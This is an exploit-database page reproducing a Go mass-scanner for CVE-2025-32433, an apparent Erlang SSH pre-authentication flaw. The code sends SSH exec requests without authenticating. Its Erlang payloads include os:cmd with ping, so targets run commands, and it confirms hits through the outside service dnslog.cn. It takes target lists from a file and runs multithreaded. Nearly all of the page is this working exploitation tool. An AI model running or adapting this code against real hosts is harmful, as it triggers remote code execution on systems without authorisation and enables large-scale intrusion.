Exploit databaseDownload repository ZIP
GH-79186977f2c4c0df630ffe5498c5053b
mirmeweu/cve-2025-32433
Sources for CVE-2025-32433
29 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
mirmeweu/cve-2025-32433Revision 50058a425dca
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
mass-check/active_go.go
Go · 10,001 bytes// active_go.go
package main
import (
"bufio"
"bytes"
"crypto/rand"
"encoding/binary"
"flag"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"strings"
"sync"
"time"
)
// ---------- DNSLog client ----------
type Dnslog struct {
client *http.Client
base string
}
func NewDnslog(proxy string) (*Dnslog, error) {
jar, _ := cookiejar.New(nil)
transport := &http.Transport{}
if proxy != "" {
proxyURL, err := url.Parse(proxy)
if err != nil {
return nil, fmt.Errorf("invalid proxy url: %v", err)
}
transport.Proxy = http.ProxyURL(proxyURL)
}
httpClient := &http.Client{
Jar: jar,
Transport: transport,
Timeout: 15 * time.Second,
}
return &Dnslog{client: httpClient, base: "http://www.dnslog.cn"}, nil
}
func (d *Dnslog) GetDomain() (string, error) {
resp, err := d.client.Get(d.base + "/getdomain.php")
if err != nil {
return "", fmt.Errorf("GetDomain error: %v", err)
}
defer resp.Body.Close()
b, _ := ioutil.ReadAll(resp.Body)
domain := strings.TrimSpace(string(b))
if domain == "" {
return "", fmt.Errorf("empty domain from dnslog")
}
return domain, nil
}
// CheckLogsFor checks whether dnslog.getrecords contains the record for domain.
// It returns (true,nil) if found, (false,nil) if not found, (false,err) on errors.
func (d *Dnslog) CheckLogsFor(domain string) (bool, error) {
resp, err := d.client.Get(d.base + "/getrecords.php")
if err != nil {
return false, err
}
defer resp.Body.Close()
b, _ := ioutil.ReadAll(resp.Body)
s := string(b)
needle := strings.Split(domain, ".")[0] // unique prefix
// check both prefix and full domain just in case
if strings.Contains(s, needle) || strings.Contains(s, domain) {
return true, nil
}
return false, nil
}
// ---------- SSH packet helpers ----------
func stringPayload(s string) []byte {
b := []byte(s)
buf := new(bytes.Buffer)
_ = binary.Write(buf, binary.BigEndian, uint32(len(b)))
buf.Write(b)
return buf.Bytes()
}
func buildPacket(payload []byte) []byte {
paddingLength := 8 - ((len(payload)+5)%8)
if paddingLength < 4 {
paddingLength += 8
}
packetLength := len(payload) + paddingLength + 1
buf := new(bytes.Buffer)
_ = binary.Write(buf, binary.BigEndian, uint32(packetLength))
buf.WriteByte(byte(paddingLength))
buf.Write(payload)
buf.Write(bytes.Repeat([]byte{0x00}, paddingLength))
return buf.Bytes()
}
func buildKexinit() []byte {
cookie := make([]byte, 16)
kexAlgos := strings.Join([]string{"[email protected]", "diffie-hellman-group14-sha1"}, ",")
hostKeyAlgos := strings.Join([]string{"ssh-rsa", "rsa-sha2-512", "rsa-sha2-256"}, ",")
ciphers := strings.Join([]string{"aes128-ctr"}, ",")
macs := strings.Join([]string{"hmac-sha1"}, ",")
compression := strings.Join([]string{"none"}, ",")
payload := new(bytes.Buffer)
payload.WriteByte(0x14)
payload.Write(cookie)
payload.Write(stringPayload(kexAlgos))
payload.Write(stringPayload(hostKeyAlgos))
payload.Write(stringPayload(ciphers))
payload.Write(stringPayload(ciphers))
payload.Write(stringPayload(macs))
payload.Write(stringPayload(macs))
payload.Write(stringPayload(compression))
payload.Write(stringPayload(compression))
payload.Write(stringPayload(""))
payload.Write(stringPayload(""))
payload.WriteByte(0x00)
_ = binary.Write(payload, binary.BigEndian, uint32(0))
return buildPacket(payload.Bytes())
}
func buildChannelOpen(channelID uint32) []byte {
buf := new(bytes.Buffer)
buf.WriteByte(0x5a) // SSH_MSG_CHANNEL_OPEN
buf.Write(stringPayload("session"))
_ = binary.Write(buf, binary.BigEndian, channelID)
_ = binary.Write(buf, binary.BigEndian, uint32(0x100000)) // initial window size
_ = binary.Write(buf, binary.BigEndian, uint32(0x8000)) // max packet size
return buildPacket(buf.Bytes())
}
func buildChannelRequest(channelID uint32, command string) []byte {
buf := new(bytes.Buffer)
buf.WriteByte(0x62) // SSH_MSG_CHANNEL_REQUEST
_ = binary.Write(buf, binary.BigEndian, channelID)
buf.Write(stringPayload("exec"))
buf.WriteByte(0x01) // want reply
buf.Write(stringPayload(command))
return buildPacket(buf.Bytes())
}
func receivePacket(conn net.Conn, timeout time.Duration) []byte {
_ = conn.SetReadDeadline(time.Now().Add(timeout))
header := make([]byte, 4)
if _, err := io.ReadFull(conn, header); err != nil {
return nil
}
packetSize := binary.BigEndian.Uint32(header)
if packetSize == 0 {
return nil
}
body := make([]byte, packetSize)
if _, err := io.ReadFull(conn, body); err != nil {
return nil
}
return body
}
// ---------- utilities ----------
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return fmt.Sprintf("%x", b)
}
// ---------- payload templates ----------
var payloadTemplates = []string{
`inet:gethostbyname("%s").`,
`inet:getaddr("%s").`,
`os:cmd("ping -c 1 %s").`, // may not work on many targets — kept as extra try
}
// ---------- core check ----------
func checkHost(host string, port int, dns *Dnslog, timeoutSec int, perPayloadDelay time.Duration, pollInterval time.Duration, debug bool) {
domain, err := dns.GetDomain()
if err != nil {
if debug {
fmt.Printf("[ERROR] %s:%d - dns getdomain failed: %v\n", host, port, err)
}
return
}
if debug {
fmt.Printf("[*] Проверяем %s:%d\n", host, port)
fmt.Printf("[*] Уникальный домен -> %s\n", domain)
}
address := fmt.Sprintf("%s:%d", host, port)
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
if debug {
fmt.Printf("[ERROR] %s:%d - connect failed: %v\n", host, port, err)
}
return
}
defer conn.Close()
// send banner
_ = conn.SetWriteDeadline(time.Now().Add(5 * time.Second))
_, _ = conn.Write([]byte("SSH-2.0-OpenSSH_7.4\r\n"))
// read banner (best-effort)
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
banner := make([]byte, 4096)
n, _ := conn.Read(banner)
if debug {
if n > 0 {
fmt.Printf("[*] Получен баннер: %s\n", strings.TrimSpace(string(banner[:n])))
} else {
fmt.Printf("[*] Баннер не получен или пуст\n")
}
}
// send kexinit and channel open to mimic SSH exchange
_, _ = conn.Write(buildKexinit())
receivePacket(conn, 3*time.Second)
_, _ = conn.Write(buildChannelOpen(0))
receivePacket(conn, 3*time.Second)
// send multiple payloads with small delay between them
for _, tpl := range payloadTemplates {
payload := fmt.Sprintf(tpl, domain)
if debug {
fmt.Printf("[*] Отправка OOB payload: %s\n", payload)
}
_, _ = conn.Write(buildChannelRequest(0, payload))
time.Sleep(perPayloadDelay)
}
// poll dnslog for hits within timeout
found := false
start := time.Now()
for time.Since(start) < time.Duration(timeoutSec)*time.Second {
ok, err := dns.CheckLogsFor(domain)
if err == nil && ok {
found = true
break
}
// wait poll interval then try again
time.Sleep(pollInterval)
}
if found {
fmt.Printf("[VULN] %s:%d уязвим!\n", host, port)
} else if debug {
fmt.Printf("[SAFE] %s:%d кажется безопасным (no dns hit for %s within %ds)\n", host, port, domain, timeoutSec)
}
}
// ---------- worker and main ----------
func worker(jobs <-chan string, dns *Dnslog, timeoutSec int, perPayloadDelay time.Duration, pollInterval time.Duration, hostDelay time.Duration, debug bool, wg *sync.WaitGroup) {
defer wg.Done()
for t := range jobs {
h := t
p := 22
if strings.Contains(t, ":") {
parts := strings.Split(t, ":")
h = parts[0]
fmt.Sscanf(parts[1], "%d", &p)
}
checkHost(h, p, dns, timeoutSec, perPayloadDelay, pollInterval, debug)
time.Sleep(hostDelay)
}
}
func readTargetsFromFile(file string) ([]string, error) {
f, err := os.Open(file)
if err != nil {
return nil, err
}
defer f.Close()
var targets []string
scanner := bufio.NewScanner(f)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
targets = append(targets, line)
}
return targets, scanner.Err()
}
func main() {
var singleTarget string
var file string
var threads int
var timeoutSec int
var proxy string
var debug bool
var hostDelaySec int
var perPayloadDelayMs int
var pollIntervalMs int
flag.StringVar(&singleTarget, "t", "", "Single target IP:PORT")
flag.StringVar(&file, "f", "", "File with IP:PORT list")
flag.IntVar(&threads, "th", 5, "Number of threads")
flag.IntVar(&timeoutSec, "timeout", 30, "Seconds to wait for DNSLog hit per host")
flag.StringVar(&proxy, "proxy", "http://127.0.0.1:12334", "HTTP proxy for DNSLog (optional, empty disables)")
flag.BoolVar(&debug, "debug", false, "Enable debug output")
flag.IntVar(&hostDelaySec, "host-delay", 2, "Seconds to wait between hosts")
flag.IntVar(&perPayloadDelayMs, "payload-delay-ms", 500, "Milliseconds to wait between payloads")
flag.IntVar(&pollIntervalMs, "poll-interval-ms", 1000, "Milliseconds between dnslog polls")
flag.Parse()
if singleTarget == "" && file == "" {
fmt.Println("Usage: ./active_go -t 1.2.3.4:22 OR ./active_go -f urls.txt")
return
}
// init dns client
dns, err := NewDnslog(proxy)
if err != nil {
fmt.Printf("[ERROR] Failed to init dnslog client: %v\n", err)
return
}
// build targets
var targets []string
if singleTarget != "" {
targets = append(targets, singleTarget)
}
if file != "" {
ts, err := readTargetsFromFile(file)
if err != nil {
fmt.Printf("[ERROR] Failed to read file: %v\n", err)
return
}
targets = append(targets, ts...)
}
jobs := make(chan string, len(targets))
var wg sync.WaitGroup
perPayloadDelay := time.Duration(perPayloadDelayMs) * time.Millisecond
pollInterval := time.Duration(pollIntervalMs) * time.Millisecond
hostDelay := time.Duration(hostDelaySec) * time.Second
for i := 0; i < threads; i++ {
wg.Add(1)
go worker(jobs, dns, timeoutSec, perPayloadDelay, pollInterval, hostDelay, debug, &wg)
}
for _, t := range targets {
jobs <- t
}
close(jobs)
wg.Wait()
fmt.Println("[*] Проверка завершена")
}